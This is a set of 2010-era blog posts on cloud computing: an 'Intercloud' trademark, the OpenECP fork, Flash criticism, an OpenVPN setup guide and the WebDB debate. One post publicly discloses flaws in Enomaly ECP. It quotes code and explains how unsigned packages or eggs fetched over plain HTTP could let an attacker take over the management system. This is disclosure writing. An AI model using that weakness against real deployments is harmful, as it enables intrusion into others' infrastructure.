
Like Dell, Trend Micro were issued a "Notice of Allowance" on 5 August 2008 (actually Dell's "Notice of Allowance" for #77139082 was issued less than a month before, on 8 July 2008, and cancelled just afterwards, on 7 August 2008). Unlike Dell though, Trend Micro just happened to be in the right place at the right time rather than attempting to lay claim to an existing, rapidly developing technology term ("cloud computing").

Having been issued a Notice of Allowance both companies just had to submit a Statement of Use and the trademarks were theirs. With Dell it was just lucky that I happened to discover and reveal their application during this brief window (after which the USPTO cancelled their application following widespread uproar), but with Trend Micro it's likely they don't actually have a product today with which to use the trademark.

A similar thing happened to Psion late 2008, who couldn't believe their luck when the term "netbook" became popular long after they had discontinued their product line by the same name. Having realised they still held an active trademark, they threatened all and sundry over it, eventually claiming Intel had "unclean hands" and asking for $1.2bn, only to back down when push came to shove. One could argue that as we have "submarine patents", we also have "submarine trademarks".

In this case, back on September 25, 2006 Trend Micro announced a product coincidentally called "InterCloud" (see Trend Micro Takes Unprecedented Approach to Eliminating Botnet Threats with the Unveiling of InterCloud Security Service), which they claimed was "the industry’s most advanced solution for identifying botnet activity and offering customers the ability to quarantine and optionally clean bot-infected PCs". Today's Intercloud is a global cloud of clouds, in the same way that the Internet is a global network of networks - clearly nothing like what Trend Micro had in mind. It's also both descriptive (a portmanteau describing interconnected clouds) and generic (in that it cannot serve as a source identifier for a given product or service), which basically means it should be found ineligible for trademark protection should anyone apply again in future.

Explaining further, the Internet has kept us busy for a few decades simply by passing packets between clients and servers (most of the time). It's analogous to the bare electricity grid, allowing connected nodes to transfer electrical energy between one another (typically from generators to consumers but with alternative energy sometimes consumers are generators too). Cloud computing is like adding massive, centralised power stations to the electricity grid, essentially giving it a life of its own.

I like the term Intercloud, mainly because it takes the focus away from the question of "What is cloud?", instead drawing attention to interoperability and standards where it belongs. Kudos to Trend Micro for this [in]action - whether intentional or unintentional.

Introducing Planet Cloud: More signal, less noise.

samj@samj.net (Sam Johnston) — Thu, 18 Feb 2010 18:40:53 PST

As you are no doubt well aware there is a large and increasing amount of noise about cloud computing, so much so that it's becoming increasingly difficult to extract a clean signal. This has always been the case but now that even vendors like Oracle (who have previously been sharply critical of cloud computing, in part for exactly this reason) are clambering aboard the bandwagon, it's nearly impossible to tell who's worth listening to and who's just trying to sell you yesterday's technology under today's label.

It is with this in mind that I am happy to announce Planet Cloud, a news aggregator for cloud computing articles that is particularly fussy about its sources. In particular, unless you talk all cloud, all the time (which is rare - even I take a break every once in a while) then your posts won't be included unless you can provide a cloud-specific feed. Fortunately most blogging software supports this capability and many of the feeds included at launch take advantage of it. You can access Planet Cloud at:

http://www.planetcloud.org/ or @planetcloud

Those of you aware of my disdain for SYS-CON's antics might be surprised that we've opted to ask for forgiveness rather than permission, but you'll also notice that we don't run ads (nor do we have any plans to - except for a few that come to us via feeds and are thus paid to authors). As such this is a non-profit service to the cloud computing community intended filter out much of the noise in the same way that the Clouderati provides an fast track to the heart of the cloud computing discussion on Twitter. An unwanted side effect of this approach is that it is not possible for us to offer the feeds under a Creative Commons license, as would usually be the case for content we own.

Many thanks to Tim Freeman (@timfaas) for his contribution not only of the planetcloud.org domain itself, but also of a comprehensive initial list of feeds (including many I never would have thought of myself). Thanks also to Rackspace Cloud who provide our hosting and who have done a great job of keeping the site alive during the testing period over the last few weeks. Thanks to the Planet aggregator which is simple but effective Python software for collating many feeds. And finally thanks to the various authors who have [been] volunteered for this project - hopefully we'll be able to drive some extra traffic your way (of course if you're not into it then that's fine too - we'll just remove you from the config file and you'll vanish within 5 minutes).

Announcing OpenECP: Open Elastic Computing Platform

samj@samj.net (Sam Johnston) — Mon, 15 Feb 2010 17:20:52 PST

I am pleased to announce the immediate availability of the Open Elastic Computing Platform (OpenECP) Version 4.0 Alpha (openecp-4.0alpha.tar.gz), provisionally tested on Debian GNU/Linux 5.0 (screenshots). This is an open source fork of the Enomaly ECP product following its abrupt commercialisation in November 2009, which resolves a number of serious security vulnerabilities. For more information refer to:

http://www.openecp.org/

OpenECP is a web-based management platform for Linux-based hypervisors including KVM and Xen which can be used to create "public" and "private" cloud computing environments.

It will always be freely available under the Affero General Public License v3 or similar.

Features

Xen, KVM, Qemu, OpenVZ, Amazon EC2 support
Multiple OpenECP server support
RESTful Web Services API
Dashboard with metering, chargeback
Automated virtual machine (VM) deployment

Support
Technical support is provided by the community, however as an open source product anyone is free to support and extend it.

Background
This release was forked from the most recent version of Enomaly ECP as at 2010-02-09 (3.0.4 with a number of additional revisions), as distributed under the Affero GPL v3 by Enomaly, Inc. In order to avoid any potential intellectual property issues, all references to Enomaly™ have been scrubbed from the distribution (in the same way that references to RedHat have been purged from CentOS).

The unmodified Enomaly ECP code (enomaly-ecp-3.0.4.1.tar.gz) is also available along with a non-maintainer release which resolves all known security issues (enomaly-ecp-3.0.4.2.tar.gz) as it appears that Enomaly have no plans to address these outstanding issues.

Update: Enomaly have responded with this comparison chart (however this changelog proves a common lineage):

Private cloud security is no security at all

samj@samj.net (Sam Johnston) — Sun, 21 Feb 2010 08:42:08 PST

It's ironic that the purveyors of "Private Cloud" sell their wares on the premise of enhanced privacy and security - a totally unjustified claim which is too often accepted without question - and that they are quick to dismiss the huge benefit of the armies of security boffins employed by "public" cloud vendors (whose future is largely dependent on keeping customer data safe). It's also very convenient for them that the term itself is disparaging of "public" cloud in the same way that "Blog With Integrity" badges imply that the rest of us are somehow unethical (one of the main reasons I personally have and will always dislike[d] it).

It is with that in mind that I was intrigued by Reuven Cohen's announcement today regarding Enomaly, Inc. having recently joined the Intel Cloud Builder Program (whatever that is). It was these two quotes that I found particularly questionable regarding their Enomaly ECP product:

Intel was among the first to full(sic) understand the opportunity in enabling a truly secure virtualized cloud computing environments(sic) for service providers and Telco's.
Our work with the Intel Cloud Builder Program will help to accelerate our efforts to deliver a massively-scalable, highly-available, high-security cloud platform to our customers.

The reason I'm naturally suspicious of such claims is that I've already discovered a handful of critical security vulnerabilities in this product (and that's without even having to look beyond the startup script - a secure-by-default turbogears component that was made insecure through inexplicable modifications):

I had to dig a little (but not much) deeper for the silent update remote command execution vulnerability. I also inadvertently discovered another serious security vulnerability (sending corporate BestBuy credentials in the clear over the Internet to a 3rd party service), which as it turns out was also developed by Enomaly, Inc. It's only natural that I would be suspicious of any future security claims made by this company.

It doesn't help my sentiment either that every last trace of the Open Source ECP Community Edition was recently scrubbed from the Internet without notice, leaving angry customers high and dry, purportedly pending the "rejigging [of their] OSS strategy". While my previous attempts to fork the product as Freenomalism failed when we were unable to get the daemon to start, having the code in any condition is better than not having it at all. In my opinion this is little more than blatantly (and successfully I might add) taking advantage of the Open Source community for as long as necessary to get the product into the limelight. Had they not filled this void others would certainly have done so, and the Open Cloud would be better off today as a result.

As part of cloud standards work I was interested in taking a look at the "secure" mechanism they developed for distributing virtual machines:

VMcasting is an automatic virtual machine deployment mechanism based on RSS2.0 whereby virtual machine images are transferred from a server to a client which securely delivers files containing a technical specification and virtual disk image.

Another bold claim that initially appeared justified by a simple but relatively sensible embedding of crytpographically strong checksums into descriptor and manifest files that were in turn digitally signed using GPG. Unfortunately no consideration was given to the secure retrieval of the archive itself (nor the RSS feed listing the archives for that matter), nor were signatures actually required by the specification, meaning that it would be trivial for an attacker to insert their own unsigned packages and/or replace existing signed packages with modified, unsigned ones. Or replaying an older, signed version of an insecure workload for that matter.

Fortunately an attacker need not even go to these lengths as despite acknowledging the need for digital signatures in the VMcasting specification, none of the security features appear to have been implemented in Enomaly ECP itself. Worse still, it won't even let you use SSL if you're sensible enough to try:

if url[0].lower not in ("http", "ftp"):
raise E2UndefinedError(_("Unknown scheme in package URL."))

Think you're safe if you keep everything on your own network (that's the whole point, right?). Don't be so sure, as the vmfeed module quietly registers these HTTP URLs for you:

http://enomalism.com/vmcast_appliances.php [archived copy]
http://enomalism.com/vmcast_modules.php [archived copy]

Sure enough if you retrieve the first URL you'll get a feed of "virtual appliances" like this one (delivered over HTTP from Amazon S3 no less) and as expected, if you untar it you'll see that there's no signatures whatsoever. Don't get me started on the myriad vulnerabilities no doubt present within the appliances themselves given their age - packaging applications as virtual machines is a notoriously bad idea and one that I hope will be overrun by containers/platforms in the not too distant future.

But wait, there's more - being able to run workloads of your choice (e.g. trojan horses, network scanners, etc.) within your victim's network is one thing, and being able to obtain and reverse engineer their existing workloads (given there's no catering for authentication) another, but taking over the management system itself is where there's real fun to be had. Fortunately all you need to do is set the MIME type to application/python-egg rather than application/enomalism2-xvm2 and this little chestnut gets invoked, quietly unzipping and forcibly installing the supplied python module:

elif self.get_mime()==EGG_MIME:
tx.update("Installing Python egg.", 90)
target=os.path.join(settings.repodir,\
self.get_uuid().replace("-","_")+".egg")
shutil.move(filename, target)
self.install_python_egg(target)

The vmcast_modules feed currently advertises the e2_drivemounter, e2_exception and e2_phone_home modules which are all available for download, again over HTTP, from http://enomaly.com/fileadmin/eggs/.

Anyway I'm sure there'll be backpedalling, downplaying, shooting-the-messenger, etc. which is why you're reading this here rather than in a vulnerability announcement. While the bugs are obviously unconfirmed this still illustrates my point nicely - don't take it for granted that private cloud offerings are secure, and in the unlikely event that the systems themselves are secure, don't assume you or your provider can run them in a more secure fashion than a "public" cloud provider could.

Incidents like this go a long way towards realising one of my predictions for 2010 (or should I say @philww's "considered prediction") in that Private clouds will be discredited by year end.

Update: Following Enomaly, Inc.'s CEO denying access to the source, a "Strategic Advisor and Board Member" downplayed the issues (below), once again claiming "many of the items above have been addressed in [other] editions" and once again failing to provide any details or code for verification. Finally, the CTO tweeted "Seriously, reviewing software you've never tried is like reviewing book you've never read or a movie you've never watched. #Fail" and promptly blocked me.

Given Enomaly claimed to have 15,000 users some 18 months ago and 15,000 organisations more recently (both officially and unofficially), if they're to be believed then that's a lot of people left high and dry by the outstanding vulnerabilities, not to mention their having pulled the source. It's also more than enough motivation to announce the release of OpenECP: Open Elastic Computing Platform.

Whether the community run with it is yet to be seen but in any case it fills the void left by Enomaly ECP, throws stranded customers a lifeline and may just coax the company into being better behaved with respect to security issues and the open source community. Time will tell.

Update: According to Secunia "The vendor disputes the problems: reportedly, the vulnerable module is not used in any of their current products and was only used in the now unsupported 'Community Edition'". This conflicts with their "VM Repository Management" screencast which clearly shows both the offending VMcasting protocol and the offending insecure URLs in use in their commercial product:

Face it Flash, your days are numbered.

samj@samj.net (Sam Johnston) — Thu, 18 Feb 2010 18:47:05 PST

It's no secret that I'm no fan of Adobe Flash:

It should be no surprise then that I'm stoked to see a vigorous debate taking place about the future/fate of Flash well ahead of schedule, and even happier to see Flash sympathisers already resorting to desperate measures including "playing the porn card" (not to mention Farmville which, in addition to the myriad annoying, invasive and privacy-invading advertisements, I will also be more than happy to see extinct). In my mind this all but proves how dire their situation has become with the sudden onslaught of mobile devices deliberately absent flash malware*.

Let's take a moment to talk about statistics. According to analysts there are currently "only" 1.3 billion Internet-connected PCs. To put that into context, there are already almost as many Internet-connected mobile devices. With a growth rate 2.5 times that of PCs, mobiles will soon become the dominant Internet access device. Of those new devices, few of them support Flash (think Android, iPhone), and with good reason - they are designed to be small, simple, performant and operate for hours/days between charges.

As if that's not enough, companies with the power to make it happen would very much like for us to have a third device that fills the void between the two - a netbook or a tablet (like the iPad). For the most part (again being powered by Android and iPhone OS) these devices don't support Flash either. Even if we were to give Adobe the benefit of the doubt in accepting their ~~deceptive~~optimistic claims that Flash is currently "reaching 99% of Internet-enabled desktops in mature markets" (for more on that subject see Lies, damned lies and Adobe’s penetration statistics for Flash), between these two new markets it seems inevitable that their penetration rate will drop well below 50% real soon now.

Here's the best part though, Flash penetration doesn't even have to drop below 50% for us to break the vicious cycle of designers claiming "99% penetration" and users then having to install Flash because so many sites arbitrarily depend on it (using Flash for navigation is a particularly heinous offense, as is using it for headings with fancy fonts). Even if penetration were to drop to 95% (I would argue it already has long ago, especially if you dispense with weasel wording like "mature markets" and even moreso if you do away with the arbitrary "desktop" restriction - talk about sampling bias!) that translates to turning away 1 in 20 of your customers. At what point will merchants start to flinch - 1 in 10 (90%)? 1 in 5 (80%)? 1 in 4 (75%)? 1 in 2 (50%)?

As if that's not enough, according to Rich Internet Application Statistics, you would be losing some of your best customers - those who can afford to run Mac OS X (87% penetration) and Windows 7 (around 75% penetration) - not to mention those with iPhones and iPads (neither of which are the cheapest devices on the market). Oh yeah and you heard it right, according to them, Flash penetration on Windows 7 is an embarassing 3 in 4 machines; even worse than ~~Sun~~Oracle Java (though ironically Microsoft's own Silverlight barely reaches 1 in 2 machines).

While we're at it, at what point does it become "willful false advertising" for Adobe and their army of Flash designers to claim such deep penetration? Victims who pay $$lots for Flash-based sites only to discover from server logs that a surprisingly large percentage of users are being turned away have every reason to be upset, and ultimately to seek legal recourse. Why hasn't this already happened? Has it? In any case designers like "Paul Threatt, a graphic designer at Jackson Walker design group, [who] has filed a complaint to the FTC alleging false advertising" ought to think twice before pointing the finger at Apple (accused in this case over a few mockups, briefly shown and since removed, in an iPad promo video).

At the end of the day much of what is annoying about the web is powered by Flash. If you don't believe me then get a real browser and install Flashblock (for Firefox or Chrome) or ClickToFlash (for Safari) and see for yourself. You will be pleasantly surprised by the absence of annoyances as well as impressed by how well even an old computer can perform when not laden with this unnecessary parasite*. What is less obvious (but arguably more important) is that your security will dramatically improve as you significantly reduce your attack surface (while you're at it replace Adobe Reader with Foxit and enjoy even more safety). As someone who has been largely Flash-free for the last 3 months I can assure you life is better on the other side; in addition to huge performance gains I've had far fewer crashes since purging my machine - unsurprising given according to Apple's Steve Jobs, "Whenever a Mac crashes more often than not it’s because of Flash". "No one will be using Flash, he says. The world is moving to HTML5."

So what can Adobe do about this now the horse has long since bolted? If you ask me, nothing. Dave Winer (another fellow who, like myself, "very much care[s] about an open Internet") is somewhat more positive in posing the question What if Flash were an open standard? and suggesting that "Adobe might want to consider, right now, very quickly, giving Flash to the public domain. Disclaim all patents, open source all code, etc etc.". Too bad it's not that simple so long as one of the primary motivations for using Flash is bundled proprietary codecs like H.264 (which the MPEG LA have made abundantly clear will not be open sourced so long as they hold [over 900!] essential patents over it).

Update: Mobile Firefox Maemo RC3 has disabled Flash because "The Adobe Flash plugin used on many sites degraded the performance of the browser to the point where it didn’t meet Mozilla’s standards." Sound familiar?

Update: Regarding the upcoming CS5 release which Adobe claims will "let you publish ActionScript 3 projects to run as native applications for iPhone", this is not at all the same thing as the Flash plugin and will merely allow developers to create applications which suck more using a non-free SDK. No thanks. I'm unconvinced Apple will let such applications into the store anyway, citing performance concerns and/or the runtime rule.

Update: I tend to agree with Steven Wei that The best way for Adobe to save Flash is by killing it, but that doesn't mean it'll happen and any case if they wanted to do that they would have wanted to have started at least a year or two ago for the project to have any relevance, and it's clear that they're still busy flogging the binary plugin dead horse.

Update: Another important factor I neglected to mention above is that Adobe already struggle to maintain up-to-date binaries for a small number of major platforms and even then Mac and Linux are apparently second and third class citizens. If they're struggling to manage the workload today then I don't see what will make it any easier tomorrow with the myriad Linux/ARM devices hitting the market (among others). Nor would they want to - if they target HTML5, CSS3, etc. as proposed above then they have more resources to spend on having the best development environment out there.

* You may feel that words like "parasite" and "malware" are a bit strong for Flash, but when you think about it Flash has all the necessary attributes; it consumes your resources, weakens your security and is generally annoying. In short, the cost outweighs any perceived benefits.

HOWTO: Set up OpenVPN in a VPS

samj@samj.net (Sam Johnston) — Tue, 06 Apr 2010 12:00:22 PDT

If, like me, you want to do any or all of the following things, you'll want to tunnel your traffic over a VPN to a remote location:

Access media services restricted by geography (Hulu, FOX, BBX, etc.)
Bypass draconian censorship
Conceal your identity/location/etc.
Protect your machine from attackers
etc.

You could of course use a commercial service like AlwaysVPN in which case you typically pay ($5-10) per month or (~$1) per gigabyte, but many will prefer to run their own service. FWIW AlywaysVPN has worked very well for me but it's time to move on.

First thing's first you'll want to find yourself a remote Linux server, and the easiest way to do so is to rent a virtual private server (VPS) from one of a myriad providers. No point spending more than 10 bucks a month on it as you don't need much in the way of resources (only bandwidth). Check out lowendbox.com for VPS deals under $7/month or just run with a BurstNET VPS starting at $5.95/month for a very reasonable resource allocation (including a terabyte of bandwidth!).

Once you've placed your order and passed their fraud detection systems (which includes an automated callback on the number you supply) you'll have to wait 12-24 hours for activation, upon which you'll receive an email with details for accessing your vePortal control panel as well as the VPS itself (via SSH). You'll get 2 IP addresses and I dedicated the second to both inbound and outbound traffic for VPS clients (which live on a 10.x RFC1918 subnet and access the Internet via SNAT).

If you didn't already do so when signing up then choose a sensible OS in your control panel ("OS Reload") like Ubuntu 8.04 - a Long Term Support release which means you'll be getting security fixes for years to come - or better yet, 10.4 if it's been released by the time you read this (it's the next LTS release). Do an "apt-get install unattended-upgrades" and you ought to be fairly safe until 2015. You're also going to need your TUN/TAP device(s) enabled which involves another trip to the control panel ("Enable Tun/Tap") and/or a helpdesk ticket (http://support.burst.net/). If /dev/net/tun doesn't exist then you can create it with "mknod /dev/net/tun c 10 200".

To install OpenVPN it's just a case of doing "apt-get install openvpn"... you could also download a free 2-user version of OpenVPN-AS from http://openvpn.net/ but I found it had problems trying to load netfilter modules that were already loaded so YMMV. If you want support or > 2 users you'll be looking at a very reasonable $5/user - you're on your own with the free/open source version but there's no such limitations either.

OpenVPN uses PKI but rather than go to a certificate authority we'll set one up ourselves. EasyRSA is included to simplify this process so it's just a case of doing something like this:

cd /usr/share/doc/openvpn/examples/easy-rsa/2.0. ./vars./clean-all./build-ca./build-dhopenvpn --genkey --secret ta.key./build-key-server server./build-key client1./build-key client2./build-key client3

It'll ask you a bunch of superflous information like your country, state, city, organisation, etc. but I just filled these out with '.' (blank rather than the defaults) - mostly so as not to give away information unnecessarily to anyone who asks. The only field that matters is the Common Name which you probably want to leave as 'server', 'client1' (or some other username like 'samj'), etc. When you're done here you'll want to "cp keys/* /etc/openvpn" so OpenVPN can see it.

Next you'll want to configure the OpenVPN server and client(s) based on examples in /usr/share/doc/openvpn/examples/sample-config-files. I'm running two - one "Faster" one for the best performance when I'm on a "clean" connection (which uses udp/1194) and another "Compatible" one for when I'm on a restricted/corporate network (which shares tcp/443 with HTTPS). I did a "zcat server.conf.gz > /etc/openvpn/faster.conf" and edited it so it (when filtered with `cat faster.conf | grep -v "^#" |grep -v "^;" | grep -v "^$"`) looks something like this:

local 173.212.x.xport 1194proto udpdev tunca ca.crtcert server.crtkey server.keydh dh1024.pemserver 10.9.0.0 255.255.255.0ifconfig-pool-persist faster-ipp.txtpush "redirect-gateway def1 bypass-dhcp"push "dhcp-option DNS 8.8.8.8"push "dhcp-option DNS 8.8.4.4"client-to-clientkeepalive 10 120tls-auth ta.key 0cipher BF-CBCcomp-lzouser nobodygroup nogrouppersist-keypersist-tunstatus /var/log/openvpn/faster-status.loglog-append /var/log/openvpn/faster.logverb 3mute 20

Noteworthy points:

local specifies which IP to bind to - I used the second (of two) that BurstNET had allocated to my VPS so as to keep the first for other servers, but you could just as easily use the first and then put clients behind the second, which would appear to be completely "clean".
We're using "tun" (tunneling/routing) rather than "tap" (ethernet briding) because BurstNET use venet interfaces which lack MAC addresses rather than veth. Wasn't able to get bridging up and running, as originally intended.
There are various hardening options but to keep it simple I just run as nobody:nogroup and use tls-auth (having generated the optional ta.key with "openvpn --genkey --secret ta.key" above).
Pushing Google Public DNS addresses to clients as they won't be able to use their local resolver addresses once connected. Also telling them to route all traffic over the VPN (which would otherwise only intercept traffic for a remote network).
Configured separate log files and subnets (10.8.0.0/24 and 10.9.0.0/24) for the "faster" and "compatible" instances.

The "compatible.conf" file varies only with the following lines:

port 443proto tcpserver 10.8.0.0 255.255.255.0status /var/log/openvpn/compatible-status.loglog-append /var/log/openvpn/compatible.log

Next you'll want to copy over client.conf from /usr/share/doc/openvpn/examples/sample-config-files (but set 'AUTOSTART="compatible faster"' in /etc/default/openvpn so it's ignored by the init scripts).

clientdev tunproto udpremote 173.212.x.x 1194resolv-retry infinitenobindpersist-keypersist-tunca burstnet-ca.crtcert burstnet-client.crtkey burstnet-client.keyns-cert-type servertls-auth burstnet-ta.key 1cipher tls-cipher DHE-RSA-AES256-SHA:DHE-DSS-AES256-SHAcipher BF-CBCcomp-lzoverb 3

As I've got a bunch of different connections on my clients I've prepended "burstnet-" to all the files and called the main config files "BurstNET-Faster.conf" and "BurstNET-Compatible.conf" (which appear in the Tunnelblick menu on OS X as "BurstNET-Faster" and "BurstNET-Compatible" respectively - thanks to AlwaysVPN for this idea). The only difference for BurstNET-Compatible.conf is:

proto tcpremote 173.212.x.x 443

You're now almost ready for the smoke test (and indeed should be able to connect) but you'll end up on a 10.x subnet and therefore unable to communicate with anyone. The fix is "iptables -t nat -A POSTROUTING -s 10.8.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x" (where the source IP is one of those allocated to you).

Being paranoid though I want to lock down my server with a firewall, which for Ubuntu typically means ufw (you'll need to "apt-get install ufw" if you haven't already). My ufw rules look something like this:

# ufw statusStatus: activeTo                         Action  From--                         ------  ----Anywhere                   ALLOW   1.2.3.41194/udp                   ALLOW   Anywhere443/tcp                    ALLOW   Anywhere

The first rule allows me to access the server from home via SSH and 1194/udp and 443/tcp allow VPN clients in. To allow the clients to access the outside world we're going to have to rewrite their traffic to come from a public IP (which is called "SNAT"), but first you'll want to enable forwarding by setting DEFAULT_FORWARD_POLICY="ACCEPT" in /etc/default/ufw. Then it's just a case of adding something like this to /etc/ufw/before.rules:

# nat Table rules*nat:POSTROUTING ACCEPT [0:0]# SNAT traffic from VPN subnet.-A POSTROUTING -s 10.8.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x-A POSTROUTING -s 10.9.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x# don't delete the 'COMMIT' line or these nat table rules won't be processedCOMMIT

You may need to enable UFW ("ufw enable") and if you lose access to your server you can always disable UFW ("ufw disable") using the rudimentary "Console" function of vePortal.

On the client side you've got support for (at least) Linux (e.g. "openvpn --config /etc/openvpn/BurstNET-Faster.conf"), Mac and Windows and there's various GUIs (including OpenVPN GUI for Windows and Tunnelblick for Mac OS X). I'm (only) using Tunnelblick, and after copying Tunnelblick.app to /Applications I just need to create a ~/Library/openvpn directory and drop these files in there:

BurstNET-Compatible.conf
BurstNET-Faster.conf
burstnet-ca.crt
burstnet-client.key
burstnet-client.crt
burstnet-ta.key

When Tunnelblick's running I have a little black tunnel symbol in the top right corner of my screen from which I can connect & disconnect as necessary.

I think that's about it - hopefully there's nothing critical I've missed but feel free to follow up in the comments if you've anything to add. I'm now happily streaming from Hulu and Fox in the US, downloading Amazon MP3s (using my US credit card), and have a reasonable level of anonymity. If I was in Australia I'd have little to fear from censorship (and there's virtually nothing they can do to stop me) and as my machine has a private IP I'm effectively firewalled.

Update: It seems that my VPS is occasionally restarted (which is not all that surprising) and forgets about its tun/tap device (which is). The device node itself is still visible in the filesystem, but with no driver to connect to in the kernel it doesn't work and OpenVPN doesn't start. You can test if your tun device is working using cat:

WORKING:

# cat /dev/net/tun
cat: /dev/net/tun: File descriptor in bad state

NOT WORKING:

# cat /dev/net/tun
cat: /dev/net/tun: No such device

I've also noticed that ufw may need to be manually started with a 'ufw enable'. Hope that saves you some time diagnosing problems!

NoSQL "movement" roadblocks HTML5 WebDB

samj@samj.net (Sam Johnston) — Mon, 28 Dec 2009 01:26:55 PST

Today's rant is coming between me and a day of skiing so I'll keep it brief. While trying to get to the bottom of why I can't enjoy offline access to Google Apps & other web-based applications with Gears on Snow Leopard I came across a post noting Chrome, Opera to support html5 webdb, FF & IE won’t. This seemed curious as HTML5 is powering on towards last call and there are already multiple implementations of both applications and clients that run them. Here's where we're at:

Opera: "At opera, we implemented web db [...] it’s likely we will [ship it] as people have built on it"
Google [Chrome]: "We’ve implemented WebDB … we’re about to ship it"
Microsoft [IE]: "We don’t think we’ll reasonably be able to ship an interoperable version of WebDB"
Mozilla [Firefox]: "We’ve talked to a lot of developers, the feedback we got is that we really don’t want SQL [...] I don’t think mozilla plans to ship it."

Of these, Microsoft's argument (aside from being disproven by existing interoperable implementations) can be summarily dismissed because offline web applications are a direct competitor to desktop applications and therefore Windows itself. As if that's not enough, they have their own horse in this race that they don't have to share with anyone in the form of Silverlight. As such it's completely understandable (however lame) for them to spread interoperability FUD about competing technology.

Mozilla's argument that "we really don't want SQL" is far more troublesome and posts like this follow an increasingly common pattern:

Someone proposes SQL for something (given we've got 4 decades of experience with it)
Religious zealots trash talk SQL, offering a dozen or so NoSQL alternatives (all of which are in varying stages of [early] development)
"My NoSQL db is bigger/better/faster than yours" debate ensues
Nobody does anything

Like it or not, SQL is a sensible database interface for web applications today. It's used almost exclusively on the server side already (except perhaps for the largest of sites, and even these tend to use SQL for some components) so developers are very well equipped to deal with it. It has been proven to work (and work well) by demanding applications including Gmail, Google Docs and Google Calendar, and is anyway independent of the underlying database engine. Ironically work has already been done to provide SQL interfaces to "NoSQL" databases (which just goes to show the "movement" completely misses the point) so those who really don't like SQLite (which happens to drive most implementations today) could conceivably create a drop-in replacement for it. Indeed power users like myself would likely appreciate a browser with embedded MySQL as a differentiating feature.

In any case the API [cs]hould be versioned so we can offer alternatives like WebSimpleDB in the future. Right now though the open web is being held back by outdated standards and proprietary offerings controlled by single vendors (e.g. Adobe's AIR and Microsoft's Silverlight) are lining up to fill in the gap. Those suggesting "it's worth stepping back" because "there are other options that should be considered" which "might serve those needs better" would want to take a long, hard look at whether their proposed alternatives are really ready for prime time, or indeed even necessary. To an outsider trying to solve real business problems today a lot of it looks like academic wankery.